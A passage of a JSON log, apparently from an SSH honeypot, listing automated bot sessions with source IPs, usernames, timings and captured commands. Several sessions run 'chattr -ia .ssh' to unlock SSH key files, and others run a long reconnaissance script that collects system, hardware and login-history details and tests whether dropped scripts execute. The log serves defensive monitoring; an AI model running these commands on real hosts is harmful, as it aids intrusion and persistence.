  "src_ip": "2.57.122.53",
  "src_port": 53022,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:04:38.268933+00:00",
  "ended_at": "2026-08-27T11:04:38.371305+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "33ab2b22-eb26-47c3-88a8-dfa1c7ba5976",
  "name": "wry-woven-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58808,
  "username": "talha",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 444,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:04:33.095156+00:00",
  "ended_at": "2026-08-27T11:04:34.570908+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2083
 },
 {
  "id": "e55a5425-53b1-4040-9d4e-3fe62324749d",
  "name": "burly-sturdy-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 54118,
  "username": "dockeruser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 761,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:04:17.340805+00:00",
  "ended_at": "2026-08-27T11:04:18.702216+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2096
 },
 {
  "id": "0958f70f-68a0-48ee-8788-7bca91c14a79",
  "name": "somber-tender-goshawk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58824,
  "username": "talha",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:04:15.940112+00:00",
  "ended_at": "2026-08-27T11:04:17.149253+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "712ae0ce-f13d-4ea1-b6c9-fe74fcee3c07",
  "name": "oaken-hollow-jackdaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58810,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:04:13.665094+00:00",
  "ended_at": "2026-08-27T11:04:15.042741+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "46d56f95-b821-4afb-8d34-210d96db9b95",
  "name": "wandering-bitter-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 55534,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:03:57.440172+00:00",
  "ended_at": "2026-08-27T11:03:58.593009+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "4081f3d5-a414-4495-ae65-f35a97250d75",
  "name": "granite-crisp-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 54140,
  "username": "dockeruser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:03:55.604168+00:00",
  "ended_at": "2026-08-27T11:03:56.560351+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "14debfee-1922-4eb6-8473-260cc0925cc2",
  "name": "primal-crisp-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 54132,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:03:52.252862+00:00",
  "ended_at": "2026-08-27T11:03:53.516073+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b6aa8822-8e9a-476c-80ce-ec99ec61a300",
  "name": "drifting-eager-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 48602,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:03:46.210702+00:00",
  "ended_at": "2026-08-27T11:03:48.144430+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4be434ba-421a-4407-9622-8f18f36a83ab",
  "name": "russet-jaunty-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55536,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:03:44.641705+00:00",
  "ended_at": "2026-08-27T11:03:45.684885+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b7b5ff21-2ceb-4615-92db-df309a9811b6",
  "name": "glacial-peaty-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 56304,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T11:03:18.747849+00:00",
  "ended_at": "2026-08-27T11:03:18.878140+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c671898f-7fa6-4872-b8f4-3728151fe7ee",
  "name": "gritty-gallant-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 53690,
  "username": "firedancer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:01:52.191575+00:00",
  "ended_at": "2026-08-27T11:01:52.290947+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "9598293c-4e4b-4588-8ea4-83ce83aaed8c",
  "name": "rugged-cobalt-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58780,
  "username": "manish",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 459,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:01:52.129387+00:00",
  "ended_at": "2026-08-27T11:01:53.090909+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2079
 },
 {
  "id": "5932f125-89d9-4bdf-b36a-1ec913c4ed94",
  "name": "cheerful-graceful-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 35232,
  "username": "rahim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:01:46.289962+00:00",
  "ended_at": "2026-08-27T11:01:46.840537+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2050
 },
 {
  "id": "1bc15d22-6924-4cdd-8f0d-a99b86ee8bc0",
  "name": "wistful-hearty-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 62722,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:01:44.115620+00:00",
  "ended_at": "2026-08-27T11:02:17.187413+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c2f435b9-c33f-4961-a451-db8c4623b492",
  "name": "thawing-ruddy-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 35256,
  "username": "rahim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:01:39.199102+00:00",
  "ended_at": "2026-08-27T11:01:40.673305+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b424b3d9-55b7-457c-ad65-e4b7a9717695",
  "name": "vernal-smoky-woodcock",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 35248,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:01:37.693872+00:00",
  "ended_at": "2026-08-27T11:01:38.658714+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "04ea648e-eb3a-4197-afa5-799e6ab971c2",
  "name": "obsidian-bitter-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 34330,
  "username": "marco",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 763,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:01:36.654589+00:00",
  "ended_at": "2026-08-27T11:01:38.022511+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2070
 },
 {
  "id": "7132667c-cc96-4658-b4c5-b385f2e63770",
  "name": "chilly-wistful-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58806,
  "username": "manish",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:01:35.896209+00:00",
  "ended_at": "2026-08-27T11:01:36.562066+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ad2df6b-5c3d-4806-bb92-c35fd0c0088d",
  "name": "upland-civil-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58796,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:01:34.097243+00:00",
  "ended_at": "2026-08-27T11:01:35.015055+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "67585d9f-a9fe-4a92-bcb2-d7a3e5d5d9e1",
  "name": "inland-lonesome-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 34352,
  "username": "marco",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:01:15.395243+00:00",
  "ended_at": "2026-08-27T11:01:16.849017+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c336ecb6-233c-4676-b17a-83c4be1f8095",
  "name": "placid-jagged-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 34344,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:01:12.404492+00:00",
  "ended_at": "2026-08-27T11:01:13.855663+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "09025e60-7128-4805-80be-da6a7e16df5f",
  "name": "prairie-quiet-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 53284,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T11:01:02.704675+00:00",
  "ended_at": "2026-08-27T11:01:02.986404+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "baa85c17-ea4d-4476-8b35-b03fb76f8046",
  "name": "fabled-gritty-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 50276,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:59:19.825070+00:00",
  "ended_at": "2026-08-27T10:59:20.008474+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "1eed96c6-ad9d-478a-873e-4e5df2282e99",
  "name": "coral-dusty-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 56660,
  "username": "docker",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 195,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:59:15.017075+00:00",
  "ended_at": "2026-08-27T10:59:15.116399+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "77608f33-c01d-44ce-bba6-fec8bce21a5a",
  "name": "dutiful-tranquil-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58746,
  "username": "sftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 455,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:59:12.587881+00:00",
  "ended_at": "2026-08-27T10:59:14.024809+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2068
 },
 {
  "id": "5f489023-1027-4c61-b7d2-92cb12f9752c",
  "name": "subtle-peaty-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 53066,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 743,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:59:04.382355+00:00",
  "ended_at": "2026-08-27T10:59:05.668772+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "82481a4e-058d-419a-af81-90f806e8139a",
  "name": "brisk-early-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58768,
  "username": "sftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:58:59.457266+00:00",
  "ended_at": "2026-08-27T10:59:01.362318+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "557b0c36-81c6-4916-92d1-87f516629b9b",
  "name": "fleeting-knotted-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58756,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:58:57.496411+00:00",
  "ended_at": "2026-08-27T10:58:58.539041+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "172d2a42-e7c2-4077-938a-d3bbf7df5e83",
  "name": "breezy-mellow-coyote",
  "protocol": "ssh",
  "channel_kind": null,
